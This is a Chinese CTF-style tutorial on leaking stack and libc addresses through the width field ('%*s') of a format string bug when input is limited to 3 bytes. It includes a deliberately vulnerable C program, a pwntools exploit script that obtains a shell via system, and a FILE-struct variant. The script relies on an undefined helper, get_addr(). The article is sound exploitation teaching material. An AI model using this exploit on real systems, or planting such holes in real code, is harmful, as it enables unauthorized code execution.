一种关于格式化字符串的新利用
字数 1080 2025-08-23 18:31:25

格式化字符串漏洞的新型利用技术:基于宽度字段的利用方法

1. 前言

传统的格式化字符串漏洞利用通常需要寻找偏移量进行任意地址读/写操作,然后使用工具如fmtstr_payload构造payload或手动修改GOT表等。但在存在输入长度限制等特殊条件下,传统方法可能失效。本文将介绍一种基于格式化字符串宽度字段的新型利用技术。

2. 格式化字符串基础回顾

格式化字符串基本格式:

%[parameter][flags][width][.precision][length]type

关键属性说明:

  • parameter: n$,获取格式化字符串中的指定参数
  • width: 输出的最小宽度
  • precision: 输出的最大长度
  • type:
    • d/i: 有符号整数
    • u: 无符号整数
    • x/X: 16进制unsigned int
    • o: 8进制unsigned int
    • s: 输出字符串
    • c: 输出字符
    • p: 输出指针地址
    • n: 将已输出字符数写入指定地址
    • %: 输出'%'字符

3. 新型利用技术原理

3.1 核心思想

利用格式化字符串中的width字段配合%s来实现栈/堆地址泄露,特别是在输入长度受限的情况下。

3.2 技术细节

当使用%*s格式时:

  • *表示宽度值从参数中获取
  • 在x86-64调用约定中,这个参数通常来自rsi寄存器
  • rsi寄存器通常包含栈上的某个地址
  • 这个地址值会被用作输出宽度,导致大量填充字符输出
  • 填充完成后,再使用%s可以泄露栈上的内容

3.3 示例漏洞代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void do_printf() {
    char buf[4];
    if(scanf("%3s", buf) <= 0) exit(1);
    printf("Here: ");
    printf(buf);
}

void do_call() {
    void (*ptr)(const char*);
    if(scanf("%p", &ptr) <= 0) exit(1);
    ptr("/bin/sh");
}

int main() {
    int choice;
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    while(1) {
        puts("1. printf");
        puts("2. call");
        if(scanf("%d", &choice) <= 0) break;
        switch(choice) {
            case 1: do_printf(); break;
            case 2: do_call(); break;
            default: puts("Invalid choice!"); exit(1);
        }
    }
    return 0;
}

4. 利用方法

4.1 利用步骤

  1. 第一次调用printf时输入%*s

    • 利用*获取rsi中的值作为宽度
    • 产生大量填充字符输出
  2. 第二次调用printf时输入%s

    • 泄露栈上的libc地址
    • 计算libc基址
  3. 调用do_call函数:

    • 输入计算出的system地址
    • 获取shell

4.2 利用脚本示例

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './chal'
r = process(file_name)
elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'call', b'1')
r.sendline('%*s')
r.sendlineafter(b'call', b'1')
r.sendline('%s')

libc_base = get_addr() - 0x1ec980
log.info("libc->"+hex(libc_base))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
dbg()

r.sendlineafter(b'call', b'2')
r.sendline(str(hex(libc_base + libc.sym['system'])))
r.interactive()

5. 其他利用变种

5.1 利用FILE结构体

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fp;
char *buffer;
uint64_t i = 0x8d9e7e558877;

_Noreturn main() {
    uint64_t *p;
    p = &p;
    
    setbuf(stdin, 0);
    buffer = (char *)malloc(0x20 + 1);
    fp = fopen("/dev/null", "wb");
    
    fgets(buffer, 0x1f, stdin);
    
    if(i != 0x8d9e7e558877) {
        _exit(1337);
    } else {
        i = 1337;
        fprintf(fp, buffer);
        _exit(1);
    }
}

5.2 利用ogg和libc

同样可以利用width字段获取栈地址进行覆盖。

6. 技术局限性

  1. 输出效率问题

    • 当使用libc地址作为宽度时,需要输出大量字符(如0x7fc1de40c000个)
    • 实际每次只能输出0xfff个字节
    • 导致利用过程缓慢,可能不适合比赛环境
  2. 普适性问题

    • 依赖于特定环境下的寄存器状态
    • 不是所有情况下都能成功利用

7. 总结

这种新型利用技术通过格式化字符串的width字段实现了:

  1. 在严格输入限制下(如3字节)完成利用
  2. 无需传统偏移量计算
  3. 可绕过某些防护措施

虽然存在一定局限性,但在特定场景下可作为有效的非预期解方案。

格式化字符串漏洞的新型利用技术:基于宽度字段的利用方法 1. 前言 传统的格式化字符串漏洞利用通常需要寻找偏移量进行任意地址读/写操作,然后使用工具如 fmtstr_payload 构造payload或手动修改GOT表等。但在存在输入长度限制等特殊条件下,传统方法可能失效。本文将介绍一种基于格式化字符串宽度字段的新型利用技术。 2. 格式化字符串基础回顾 格式化字符串基本格式: 关键属性说明: parameter : n$ ,获取格式化字符串中的指定参数 width : 输出的最小宽度 precision : 输出的最大长度 type : d/i : 有符号整数 u : 无符号整数 x/X : 16进制unsigned int o : 8进制unsigned int s : 输出字符串 c : 输出字符 p : 输出指针地址 n : 将已输出字符数写入指定地址 % : 输出'%'字符 3. 新型利用技术原理 3.1 核心思想 利用格式化字符串中的 width 字段配合 %s 来实现栈/堆地址泄露,特别是在输入长度受限的情况下。 3.2 技术细节 当使用 %*s 格式时: * 表示宽度值从参数中获取 在x86-64调用约定中,这个参数通常来自 rsi 寄存器 rsi 寄存器通常包含栈上的某个地址 这个地址值会被用作输出宽度,导致大量填充字符输出 填充完成后,再使用 %s 可以泄露栈上的内容 3.3 示例漏洞代码 4. 利用方法 4.1 利用步骤 第一次调用 printf 时输入 %*s : 利用 * 获取 rsi 中的值作为宽度 产生大量填充字符输出 第二次调用 printf 时输入 %s : 泄露栈上的libc地址 计算libc基址 调用 do_call 函数: 输入计算出的system地址 获取shell 4.2 利用脚本示例 5. 其他利用变种 5.1 利用FILE结构体 5.2 利用ogg和libc 同样可以利用width字段获取栈地址进行覆盖。 6. 技术局限性 输出效率问题 : 当使用libc地址作为宽度时,需要输出大量字符(如0x7fc1de40c000个) 实际每次只能输出0xfff个字节 导致利用过程缓慢,可能不适合比赛环境 普适性问题 : 依赖于特定环境下的寄存器状态 不是所有情况下都能成功利用 7. 总结 这种新型利用技术通过格式化字符串的width字段实现了: 在严格输入限制下(如3字节)完成利用 无需传统偏移量计算 可绕过某些防护措施 虽然存在一定局限性,但在特定场景下可作为有效的非预期解方案。